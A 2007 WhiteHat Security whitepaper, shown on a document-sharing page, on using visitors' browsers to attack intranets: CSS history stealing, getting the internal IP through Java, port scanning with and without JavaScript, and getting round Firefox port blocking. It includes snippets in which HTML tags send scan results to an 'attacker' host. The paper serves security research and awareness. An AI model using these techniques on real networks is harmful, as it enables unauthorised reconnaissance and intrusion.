Hacking Intranet Websites from the Outside (Take 2) Fun With & Without JavaScript Malware



Similar documents
The Top Five Myths of Website Security

Seven Business Logic Flaws That Put Your Website At Risk

Pwning Intranets with HTML5

Finding and Preventing Cross- Site Request Forgery. Tom Gallagher Security Test Lead, Microsoft

Preparing for the Cross Site Request Forgery Defense

Detecting and Exploiting XSS with Xenotix XSS Exploit Framework

The Prevalence of Flash Vulnerabilities on the Web

ETHICAL HACKING APPLICATIO WIRELESS110 00NETWORK APPLICATION MOBILE MOBILE0001

Website Security 101. Real-World Examples, Tools & Techniques for Protecting & Securing Websites. A WhiteHat Security Whitepaper

WhiteHat Security White Paper. Top 11 PCI DSS 3.0 Changes That Will Affect Your Application Security Program

MWR InfoSecurity Security Advisory. pfsense DHCP Script Injection Vulnerability. 25 th July Contents

Sitefinity Security and Best Practices

The Top Web Application Attacks: Are you vulnerable?

Introduction: 1. Daily 360 Website Scanning for Malware

Recommended Practice Case Study: Cross-Site Scripting. February 2007

Web Application Attacks and Countermeasures: Case Studies from Financial Systems

How to break in. Tecniche avanzate di pen testing in ambito Web Application, Internal Network and Social Engineering

(WAPT) Web Application Penetration Testing

Advanced Web Technology 10) XSS, CSRF and SQL Injection 2

WEB SITE SECURITY. Jeff Aliber Verizon Digital Media Services

Single Sign-On for the Internet: A Security Story. Eugene Tsyrklevich eugene@tsyrklevich.name Vlad Tsyrklevich vlad902@gmail.com

FINAL DoIT v.4 PAYMENT CARD INDUSTRY DATA SECURITY STANDARDS APPLICATION DEVELOPMENT AND MAINTENANCE PROCEDURES

Inspection of Encrypted HTTPS Traffic

Web Application Security. Vulnerabilities, Weakness and Countermeasures. Massimo Cotelli CISSP. Secure

Out of the Fire - Adding Layers of Protection When Deploying Oracle EBS to the Internet

Where every interaction matters.

QualysGuard WAS. Getting Started Guide Version 3.3. March 21, 2014

Web Application Penetration Testing

Ethical Hacking as a Professional Penetration Testing Technique

WHITE PAPER. FortiWeb and the OWASP Top 10 Mitigating the most dangerous application security threats

Table of Contents. Page 2/13

Intrusion detection for web applications

CS5008: Internet Computing

What is Web Security? Motivation

CS 558 Internet Systems and Technologies

Newsletter - September T o o l s W a t c h T e a m NJ OUCHN & MJ SOLER

3. Broken Account and Session Management. 4. Cross-Site Scripting (XSS) Flaws. Web browsers execute code sent from websites. Account Management

Bank Hacking Live! Ofer Maor CTO, Hacktics Ltd. ATC-4, 12 Jun 2006, 4:30PM

Recent Advances in Web Application Security

The Dark Side of Ajax. Jacob West Fortify Software

Security Research Advisory IBM inotes 9 Active Content Filtering Bypass

Evading Infrastructure Security Mohamed Bedewi Penetration Testing Consultant

DNS REBINDING DENIS BARANOV, POSITIVE TECHNOLOGIES

Web application security

How to complete the Secure Internet Site Declaration (SISD) form

10 Things Every Web Application Firewall Should Provide Share this ebook

WEB SECURITY CONCERNS THAT WEB VULNERABILITY SCANNING CAN IDENTIFY

What Do You Mean My Cloud Data Isn t Secure?

We protect you applications! No, you don t. Digicomp Hacking Day 2013 May 16 th 2013

Web Application Security

Attack Vector Detail Report Atlassian

MatriXay WEB Application Vulnerability Scanner V Overview. (DAS- WEBScan ) The best WEB application assessment tool

HTTPParameter Pollution. ChrysostomosDaniel

Ruby on Rails Secure Coding Recommendations

CSRF: Attack and Defense

Bug Report. Date: March 19, 2011 Reporter: Chris Jarabek

CS 665: Computer System Security. Network Security. Usage environment. Sources of vulnerabilities. Information Assurance Module

Proxy Server, Network Address Translator, Firewall. Proxy Server

Imperva Cloud WAF. How to Protect Your Website from Hackers. Hackers. *Bots. Legitimate. Your Websites. Scrapers. Comment Spammers

Securing Your Web Application against security vulnerabilities. Ong Khai Wei, IT Specialist, Development Tools (Rational) IBM Software Group

DNS Pinning and Web Proxies

CMPT 471 Networking II

Guideline on Firewall

Web-Application Security

2,000 Websites Later Which Web Programming Languages are Most Secure?

Magento Security and Vulnerabilities. Roman Stepanov

The Weakest Link: Mitigating Web Application Vulnerabilities. webscurity White Paper. webscurity Inc. Minneapolis, Minnesota USA

SQuAD: Application Security Testing

WEB SECURITY. Oriana Kondakciu Software Engineering 4C03 Project

ASL IT Security Advanced Web Exploitation Kung Fu V2.0

Kenna Platform Security. A technical overview of the comprehensive security measures Kenna uses to protect your data

Next Generation Clickjacking

Is Drupal secure? A high-level perspective on web vulnerabilities, Drupal s solutions, and how to maintain site security

Network Security Exercise #8

Web applications. Web security: web basics. HTTP requests. URLs. GET request. Myrto Arapinis School of Informatics University of Edinburgh

Managing Web Security in an Increasingly Challenging Threat Landscape

How To Connect Log Files To A Log File On A Network With A Network Device (Network) On A Computer Or Network (Network Or Network) On Your Network (For A Network)

Enterprise Application Security Workshop Series

Web Application Firewall

FortiWeb 5.0, Web Application Firewall Course #251

THE OPEN UNIVERSITY OF TANZANIA

McAfee Certified Assessment Specialist Network

Using EMC Unisphere in a Web Browsing Environment: Browser and Security Settings to Improve the Experience

Network Security Web Security

Cracking the Perimeter via Web Application Hacking. Zach Grace, CISSP, CEH January 17, Mega Conference

Web Application Security 101

A Server and Browser-Transparent CSRF Defense for Web 2.0 Applications. Slides by Connor Schnaith

GoToMyPC Corporate Advanced Firewall Support Features

Transcription:

Hacking Intranet Websites from the Outside (Take 2) Fun With & Without JavaScript Malware July 2007 Jeremiah Grossman Founder and CTO, WhiteHat Security A WhiteHat Security Whitepaper 3003 Bunker Hill Lane, Suite 220 Santa Clara, CA 95054-1144 www.whitehatsec.com

Introduction Attacks always get better; they never get worse. The malicious capabilities of Cross-Site Scripting (XSS) and Cross- Site Request Forgeries (CSRF), coupled with JavaScript malware payloads, exploded in 2006. Intranet Hacking from the Outside, Browser Port Scanning, Browser History Stealing, Blind Web Server Fingerprinting, and dozens of other bleeding-edge attack techniques blew away our assumptions that perimeter firewalls, encryption, A/V, and multi-actor authentication can protect websites from attack. They can t, so they don t. One quote from a member of the community summed it way: The last quarter of this year (2006), RSnake and Jeremiah pretty much destroyed any security we thought we had left, including the I ll just browse without JavaScript mantra. Could you really call that browsing anyway? Kryan That s right. New research has revealed that even if JavaScript has been disabled or restricted, some of the now popular attack techniques such as Browser Intranet Hacking, Port Scanning, and History Stealing can still be perpetrated. From an enterprise security perspective, when users are visiting normal public websites (including Web mail, blogs, social networks, message boards, news, etc.), there is a growing probability that their browser might be silently hijacked by a hacker and exploited to target the resources of the internal corporate network. Breaking the Perimeter Security Boundary Most believe while surfing the Web that they re protected by firewalls and isolated through private NAT ed IP addresses. With this understanding, we assume the soft security of intranet websites and the Web-based interfaces of routers, firewalls, printers, IP phones, payroll systems, etc., even if left unpatched, remain safe inside the protected zone. Nothing is capable of directly connecting in from the outside world, right? Well, not quite. Web browsers can be completely controlled by any Web page, enabling them to become launching points to attack internal network resources. The Web browser of every user on an enterprise network becomes a stepping-stone for intruders. Figure 1.

Exploit Procedures 1. A victim visits a malicious Web page, which assumes control over their Web browser. The malicious Web page could be any Web page, but increasingly, trusted Web pages laced with a permanent XSS attack are being leveraged for massive malware delivery. 2. When the malware is executed, it does so from the intranet perspective of the victim, where an outsider can t directly access. Meaning, the victim s Web browser can be instructed to hand over its NAT ed IP address and make connections to the internal IP range on behalf of the attacker. 3. The victim s Web browser is used as a launch platform where the malware port scans and fingerprint Web servers on the internal IP range. 4. Attacks are initiated against the internal targets and compromised information is sent outside the network for collection. History Stealing For an attacker, knowing your victim s surfing habits and where they are logged in is highly advantageous. Attacks can be aimed directly at locations where they re most likely to succeed, which also increases the speed of exploitation. And, by now most are familiar with the JavaScript/CSS history hack 1 to achieve this level of intelligence. This is a brute-force method of revealing a user s history 2 by checking the color of thousands of links on the screen. If the link is purple, they ve been there; if blue, they haven t. Sprinkle in a list of common intranet hostnames 3 and the technique is highly effective. The technique above relies upon JavaScript being enabled in the browser. But, what happens if it isn t, or at least not on the current website? Steal Browser History without JavaScript 4 is a clever technique that utilizes CSS s visited pseudoclass and the display class to create conditional logic when applied to a link. If a link has been visited, a:visited 5, the CSS is configured to load a background image background: url( steal_history.cgi?http://foo/ ), which communicated the data back to the server. If the link has not been visited, the background image will not load, in effect informing the server the user has not been there. Remember these techniques can be applied to any URL, including common intranet names such as hr, payroll, intranet, router, printer, and thousands of other possibilities. Obtaining NAT ed IP Addresses It s trivial to obtain a Web browser s public IP address from the Web server, but the NAT ed IP Address is another matter. This is the piece of information we need to begin exploring and exploiting their intranet. To obtain the internal NAT ed IP address, we need to invoke Java in a browser, and an applet is a simple cross-browser way to do so. The My Address 6 applet by Lars Kindermann works very well for the task and conveniently passes the IP address to where JavaScript can access it. The following code loads the MyAddress.class and then opens the URL of http://webserver/ip_address. html?nat=xxxx so the data can be accessed remotely: <APPLET CODE= MyAddress.class > <PARAM NAME= URL VALUE= http://webserver/ip_address.html?nat= > </APPLET> If the victim s Web browser is a Mozilla/Firefox, it s possible to skip the applet requirement and invoke a Java socket directly from JavaScript space. The net-net effect between these two techniques is more or less the same. function natip() { var w = window.location; var host = w.host; var port = w.port 80; var Socket = (new java.net.socket(host,port)).getlocaladdress().gethostaddress(); return Socket; }

A small percentage of users disable Java in their browsers for security reasons, which thwart the techniques described. However, this does not mean Intranet Hacking is a non-starter. While it s easier to have the exact address, NAT ed IPs are almost always assigned an RFC 1918 7 compliant address, making their location reasonably predictable. 10.0.0.0 10.255.255.255 172.16.0.0 172.31.255.255 192.168.0.0 192.168.255.255 By simply selecting common net-block, scans of an entire Class-C range can be completed in less than 60 seconds. JavaScript Port Scanning Last year it was reported that JavaScript could be used to conduct intranet port scans 8. The way the technique worked is by forcing the browser to make SCRIPT SRC requests to internal IP addresses. If a Web server were listening, HTML would be returned causing the JavaScript console to error. If no Web server were listening, there would be no errors. At this point it was a simple matter of cycling through each IP address in the range and performing the boolean logic. But as with the stealing history techniques, what if the victim s browser has JavaScript disabled? It turns out there is a way to conduct browser port scanning without JavaScript 9. In HTML, the LINK tag has the unique behavior of causing the browser (Firefox) to stop parsing the rest of the Web page until its HTTP request (for 192.168.1.100) has finished. The purpose of the IMG tag is as a timer and data transport mechanism back to the attacker. Once the Web page is loaded, at some point in the future a request is received by check_time.pl. By comparing the current epoch to the initial epoch_timer value (when the Web page was dynamically generated), it s possible to tell if the host is up. If the time difference is less than, say, five seconds, then likely the host is up; if more, then the host is probably down (browser waited for timeout). And, fortunately since the requests are made to intranet IPs, network traffic delays are minimized. <* link rel= stylesheet type= text/css href= http://192.168.1.100/ /> <* img src= http://attacker/check_time.pl?ip=192.168.1.100&start= epoch_timer /> Example (attacker Web server logs): /check_time.pl?ip=192.168.1.100&start=1164762276 Current epoch: 1164762279 (3 second delay) - Host is up /check_time.pl?ip=192.168.1.100&start=1164762276 Current epoch: 1164762286 (10 second delay) - Host is down Bypassing Mozilla/Firefox Port Blocking To protect against the HTML Form Protocol Attack 10, which would allow the browser to send arbitrary data to most TCP ports, Mozilla/Firefox restricted 11 connections to several dozen ports. For example, entering the following URL into a Mozilla/Firefox browser: http://jeremiahgrossman.blogspot.com:22/

Figure 2. While the security measure works for the http protocol handler, using ftp is able to bypass the block: ftp:// jeremiahgrossman.blogspot.com:22/. If the port is up, it ll connect; if not, timeout. This technique can be used to improve JavaScript Port Scanning, where we re currently only scanning horizontally for Web servers (80/443). Instead, vertical port scans can be improved on the remaining ports and bypass the imposed restrictions. References 1 JavaScript/CSS history hack http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html 2 Online demo of CSS History Hack http://ha.ckers.org/weird/css-history-hack.html 3 Common intranet hostnames http://ha.ckers.org/fierce/hosts.txt 4 Steal Browser History Without JavaScript http://ha.ckers.org/blog/20070228/steal-browser-history-without-javascript/ 5 Online demo of CSS History Hack Without JavaScript http://ha.ckers.org/weird/css-history.cgi 6 My Address Java Applet http://reglos.de/myaddress/myaddress.html 7 RFC 1918 - Address Allocation for Private Internets http://tools.ietf.org/html/rfc1918 8 Video - Hacking Intranet Websites from the Outside http://jeremiahgrossman.blogspot.com/2006/09/video-hacking-intranet-websites-from.html 9 Browser Port Scanning without JavaScript http://jeremiahgrossman.blogspot.com/2006/11/browser-port-scanning-without.html 10 HTML Form Protocol Attack http://www.remote.org/jochen/sec/hfpa/index.html 11 Mozilla Port Blocking http://www.mozilla.org/projects/netlib/portbanning.html

About the Author Jeremiah Grossman is the founder and CTO of WhiteHat Security, a world-renowned expert in website vulnerability management, co-founder of the Web Application Security Consortium, and recently named to InfoWorld s Top 25 CTOs for 2007. Mr. Grossman is a frequent speaker at industry events including the BlackHat Briefings, ISACA, CSI, OWASP, Vanguard, ISSA, OWASP, Defcon, etc. He has authored of dozens of articles and white papers, credited with the discovery of many cutting-edge attack and defensive techniques and is co-author of the book XSS Exploits. Mr. Grossman is frequently quoted in major media publications such as InfoWorld, USA Today, PCWorld, Dark Reading, SC Magazine, SecurityFocus, C-Net, SC Magazine, CSO, and InformationWeek. Prior to WhiteHat he was an information security officer at Yahoo! About WhiteHat Security, Inc. Headquartered in Santa Clara, California, WhiteHat Security is a leading provider of website vulnerability management services. WhiteHat delivers turnkey solutions that enable companies to secure valuable customer data, comply with industry standards and maintain brand integrity. WhiteHat Sentinel, the company s flagship service, is the only solution that incorporates expert analysis and industry-leading technology to provide unparalleled coverage to protect critical data from attacks. For more information about WhiteHat Security, please visit www.whitehatsec.com. Copyright 2007 WhiteHat Security, Inc. Product names or brands used in this publication are for identification purposes only and may be trademarks or brands of their respective companies. 07.01.07